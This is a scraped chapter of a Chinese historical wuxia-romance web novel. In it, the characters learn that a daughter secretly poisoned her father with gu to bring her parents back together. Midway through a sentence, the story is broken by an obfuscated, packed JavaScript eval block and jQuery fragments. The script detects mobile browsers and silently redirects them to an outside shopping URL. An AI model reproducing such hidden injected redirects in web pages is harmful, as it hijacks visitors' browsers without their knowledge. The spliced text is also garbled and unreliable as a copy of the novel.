154. 篝火谈心
作品:《宋时家宴》 草原深处的一处洼地,喻赤正生了个火堆,面无表情往里面填着晒干的马粪与枯草。
诺敏萨仁被反手绑着手脚,坐在一旁瞪着他。
喻赤看了他一眼,不屑道:“等他们今晚出了这昭弥部,我就放了你。”
诺敏萨仁依旧狠狠瞪着他,没吭声。
喻赤又继续道:“晏井承怎么惹你了,你要这样跟他作对。”顿了顿,喻赤望向满天空的繁星,神情放缓,“还做了我一直想做,却不敢做的事……”
话落半天都没有回应,他这才反应过来,抬手点在诺敏萨仁颈侧一按,解了他的哑穴。
诺敏萨仁憋得胸口发闷,当即呸了一声,怒声道:“你们中原人阴险狡诈,有本事把我全身都解开,咱们用武力好好比一场!”
喻赤笑了笑,接着往火里丢了把枯草,淡淡道:“谁要跟你比,再怎么比,咱俩都比不过晏井承。”
诺敏萨仁皱眉问道:“你这是什么意思?”
喻赤垂眸盯着跳动的火光,淡淡道:“没什么意思。”
*
远处忽然传来阵阵脚步声,喻赤眼神一凛,瞬间抬手又点了诺敏萨仁的哑穴。正想提溜着他躲起来,抬眼间却顿住动作。
来人,是他往常间会下意识追寻的熟悉身影。
“阿赤!”
柳嘉之跑到离他十几步远的地方,终是体力不支,叉着腰大口喘着气。
喻赤下意识想向前去扶,余光却瞥见她身后浩浩荡荡跟来一行人,蒲信、阿姝、齐昕昕等人皆在其中。
他眉头骤蹙,看向耿陵沉声道:“怎么回事?不是让你们叫她连夜快走吗!”
柳嘉之缓过气息直起腰:“是晏井承不跟我走。”
喻赤攥紧拳头,咬牙道:“这晏井承!我这番心思竟全白费了。”
柳嘉之又上前几步:“你为何会想到这一招?是不是偷听到我们说话了?”
喻赤别过脸,嘴硬道:“这是我欠你们的。虽没能帮你们顺利脱身,但也算还清过往人情,从此两清。”
柳嘉之直直盯着他的眼睛,试探道:“你是不是想到我是谁了?”
喻赤心头一紧,面上却依旧平静无波,淡声道:“柳姑娘这话何来?我们相处多日,我自然记得你,谈不上想起一说。”
*
空气瞬间凝滞,齐昕昕这时才注意到一旁一动不动被绑着的诺敏萨仁。
连忙上前,边给他解开绳索,边质问道:“小萨仁,我那日特意叮嘱你的话,你是半点没听进去。”
却见诺敏萨仁瞪着眼却无法开口,喻赤这才走上前,几下解开他身上所有穴位。
诺敏萨仁刚恢复行动,便要冲上去与喻赤动手,阚忆思身形一闪,一招利落挡在两人中间,动作舒展利落,一身喜服衬得招式竟有些好看。
“阿姐!”诺敏萨仁惊呼一声,拳头硬生生停在半空。
阚忆思沉声道:“萨仁,阿姐知晓你本性纯良,从不是不分黑白、只听阿娘话的孩子。”
诺敏萨仁有些凝噎,目光缓缓扫过周遭众人,眼眶渐渐泛红:
“阿姐,你可知阿娘已把一切都告诉我了?”
“你是阿爹掌心里的珍宝,自懂事起,想去驼铃隘便去驼铃隘,想去大宋便去大宋,但凡你所求,阿娘无有不应。”
“可我呢?你们什么都不肯告知我,我自幼便不被他认可存在,而取代我位置、占尽他疼惜的人,便是晏井承!”
*
此话一出,众人皆有些惊讶,此前云里雾里的过往纠葛,似在此刻渐渐明朗了几分。
诺敏萨仁见众人皆默不作声,缓缓挪到柳嘉之跟前,目光沉沉望着她:“就连我这些年难得动心喜欢上的小柳枝,也早已先遇到了他。”
见他此般,柳嘉之有些不知所措,正欲开口。
不料他又猛地转过身,冲着喻赤高声喊道:“所以你问我晏井承怎么惹了我?”
“我告诉你,他从生下来起,就碍了我的眼、惹了我的恨,抢走本该属于我的父亲,如今他有的,我凭什么不能跟他争!”
喻赤眉头微蹙,视线转向阚忆思,冷静问道:“他说你去过驼铃隘?且你既是师父的女儿,我怎从未听说过你?”
阚忆思轻轻叹了口气,神色沉凝:“此事说来话长……”
*
庆历二年,距柳嘉之来到大宋还有一年多的时间。
彼时喻赤已在驼铃隘日日等候晏井承三年,他不知晏井承三年前早已被言袂秘密送往京中,牵头成立暗阁,专司探查江湖异动。
这日天刚破晓,喻赤便如常来到的溪流边,握着流光刀练得专注,刀刀划破长空。
几个时辰过去,日光渐烈,他浑身浸满汗水,抬手摘下眼罩,习惯性望向不远处。
往日这时,师父言袂定会在此等候,待他练完便逐招点评指导,今日却空无一人。
喻赤顾不上擦汗,赶往言袂的屋子,抬手用力敲门,可屋内静得毫无声响,任他敲了许久都无回应。他愈发焦灼,猛然发力破门而入。
只见言袂躺在床上,脖颈至胸口的皮肤下,隐隐有淡青色纹路,像是有什么活物在皮肤下层钻动,看得人头皮发麻。
喻赤从未见过这般病症,一时手足无措,转身便去寻医师。
他寻遍了周边的医师,都说言袂无药可治。
喻赤原想回汴京寻更好的大夫,可就在他准备出发前,言袂竟然消失了整整三日。
直到第四日,言袂精神奕奕地又出现在驼铃隘,喻赤又找过医师,直到医师说他已无碍他这才放心。
后言袂以想多游历四方为由,告诉喻赤,晏井承在益州之事,他知道这个小徒儿多半会想去找师兄。
果不其然,不日,喻赤便收拾行装拜别了言袂,离了驼铃隘。
望着喻赤渐渐变小的背影,思夫人缓缓从言袂身后走出,轻声问道:“你当真舍得下你这徒儿,随我回昭弥部?”
言袂闻言转过身,牵过思夫人的手:“他们都长大了,该走自己的人生道路,不必再困于此处。就像我们的思儿,这些年我已然缺席太多,和你去昭弥部也未尝不好。”
*
阿姝听罢,眉头紧蹙:“言袂先生这症状,我竟有些耳熟。”
阚忆思点头应道:“不错,是蛊毒。”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766036|175250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光转向喻赤,“和阿赤身上的蛊毒,是同一种。”
这话一出,众人除诺敏萨仁外皆略微诧异。
喻赤心头一震,追问:“那师父三年前得以痊愈,也是因用了青节藤?”
阚忆思缓缓道:“是我暗中给阿爹下的蛊。萨仁说我自懂事起想去驼铃隘便去驼铃隘,可其实每次我只有想念阿爹时,才能去驼铃隘外围小屋,等他陪我吃一块糕点。”
“他从不让我见晏井承,后来晏井承已离开三年,我便想着,不如逼他与阿娘重归旧好,这样他便能随我回昭弥部。”
柳嘉之恍然大悟:“所以你给他下了蛊,又让你母亲带青节藤来救他,借此让他们再续前缘。”
阚忆思浅浅一笑:“是呢。我还未动手,便先给阿娘递了消息,阿娘不知跑废了多少匹千里马,正巧赶在最紧要的时候到了驼铃隘。”
喻赤仍满心不解:“所以师父当年支走我,是为了与妻儿重聚?”
阚忆思淡笑着点头:“算是吧。我本以为回了昭弥部,便能一家人团聚,不再分离。”
诺敏萨仁冷冷接过话头:“可他却疑心我、疑心阿娘,刚到昭弥部没过多久,便再次从昭弥部逃走,抛下我们母子三人。”
*
又回庆历二年,言袂终是携手思夫人,踏上阔别二十余载的昭弥部故土。
此时的思夫人早已褪去当年青涩,成了执掌部族、风华卓绝的草原女王。
二人并肩下马,思夫人转头望着言袂,眉眼弯弯笑道:“今日归来,我想给你个惊喜。”
言袂眸色温润,轻声问:“何惊喜?”
思夫人牵着他的手,笑意盈盈:“跟我来便知。”
行至部族腹地,一道身影忽然从旁冲出,扑进言袂怀中:“阿爹,你终于回来了!”
言袂抬手轻轻抚过阚忆思的头顶,思夫人在旁浅笑:“思儿,走,咱们带阿爹去见那份惊喜。”
阚忆思兴冲冲搀着父母的手,正欲往前,几位族中长老缓缓走来。她们上前俯身行礼,思夫人亦恭敬颔首回礼。
*
长老们目光落在言袂身上,上下打量许久,为首之人率先开口:
“思夫人,前几日肃赫部进贡的良人男子已在王帐等候多日。您执掌部族多年,为族人福祉着想,尽早立王夫稳固部族根基,才是妥当之举。”
言袂听罢,不动声色松开了思夫人的手,周身气息淡了些许。
思夫人抬声回应:“此前早已言明,不必再为我寻什么良人,为何还要提及?”
说罢侧身拉住言袂,向长老们介绍:“这位是思儿与犬子的生父,今日归来,我便立他为王夫,往后与我一同守护部族。”
话音落,她再次伸手想去牵言袂的手,却被他侧身避开。
只见言袂眸色凝沉,沉声追问:“什么进贡的男子?又何来的儿子?”
这时只见一摇扇男子缓步走来,虽为男子却生得眉目昳丽,肤白胜雪,见到思夫人不卑不亢躬身行了一礼,语调轻佻:
“长老们让我在此等候一整日,如今看来,思夫人确实值得在下多等。”说罢含情脉脉望向思夫人。

